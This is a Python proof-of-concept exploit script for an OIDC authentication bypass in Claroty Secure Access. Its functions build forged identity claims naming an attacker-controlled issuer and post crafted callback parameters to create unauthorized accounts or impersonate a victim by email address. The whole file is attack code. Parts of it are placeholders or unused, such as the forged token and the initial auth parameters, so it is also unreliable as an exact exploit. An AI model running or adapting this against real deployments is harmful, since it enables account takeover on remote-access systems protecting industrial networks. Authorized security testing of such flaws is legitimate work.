# CVE-2025-54603 PoC - Claroty Secure Access OIDC Authentication Bypass
# This PoC demonstrates the OIDC authentication flow exploitation
import requests
import json
import jwt # PyJWT library
from urllib.parse import urlencode
TARGET_URL = "https://target-claroty-instance.com"
OIDC_CALLBACK_ENDPOINT = "/auth/oidc/callback"
def generate_forged_oidc_token(target_user_email, target_user_sub):
"""
Generate a forged OIDC ID token mimicking legitimate user attributes.
In vulnerable versions, the server fails to properly validate
token claims, allowing impersonation.
"""
# In a real exploit, the attacker would need to obtain or forge
# a valid signed token. The vulnerability lies in the server-side
# validation logic being insufficient.
forged_claims = {
"iss": "https://attacker-controlled-idp.com",
"sub": target_user_sub,
"email": target_user_email,
"name": "Impersonated User",
"aud": "claroty-secure-access-client",
"iat": 1697280000,
"exp": 2697280000,
}
# Note: Actual exploitation requires either:
# 1. A misconfigured OIDC setup where the IdP is attacker-controlled
# 2. Ability to manipulate the OIDC callback parameters
# 3. Exploiting the incorrect user provisioning logic
return forged_claims
def exploit_oidc_user_creation(target_url, attacker_email):
"""
Exploit the incorrect OIDC authentication flow to create
an unauthorized user account in Claroty Secure Access.
"""
session = requests.Session()
# Step 1: Initiate OIDC authentication flow
auth_params = {
"response_type": "code",
"client_id": "claroty-secure-access",
"redirect_uri": f"{target_url}{OIDC_CALLBACK_ENDPOINT}",
"scope": "openid email profile",
"state": "attacker_state_token",
}
# Step 2: The vulnerability allows sending manipulated callback
# with crafted parameters that bypass proper user validation
callback_params = {
"code": "valid_authorization_code",
"state": "attacker_state_token",
"id_token_hint": "forged_or_manipulated_token",
}
# Step 3: Send the crafted callback to create unauthorized user
callback_url = f"{target_url}{OIDC_CALLBACK_ENDPOINT}"
response = session.post(
callback_url,
data=callback_params,
allow_redirects=False
)
if response.status_code in [200, 302]:
print(f"[+] Exploit successful - User may have been created/impersonated")
print(f"[+] Response: {response.headers.get('Location', 'N/A')}")
return True
else:
print(f"[-] Exploit failed - Status: {response.status_code}")
return False
def exploit_oidc_user_impersonation(target_url, victim_email):
"""
Exploit the OIDC vulnerability to impersonate an existing user.
"""
session = requests.Session()
# Craft OIDC callback with victim's identity information
# The server's flawed validation logic accepts this as legitimate
impersonation_params = {
"code": "stolen_or_manipulated_code",
"state": "valid_state",
"email": victim_email,
}
callback_url = f"{target_url}{OIDC_CALLBACK_ENDPOINT}"
response = session.post(
callback_url,
data=impersonation_params,
allow_redirects=False
)
if response.status_code in [200, 302]:
print(f"[+] Impersonation of {victim_email} may be successful")
return session
return None
if __name__ == "__main__":
# Example usage - for authorized testing only
# exploit_oidc_user_creation(TARGET_URL, "
[email protected]")
# exploit_oidc_user_impersonation(TARGET_URL, "
[email protected]")
print("CVE-2025-54603 PoC - For authorized security testing only")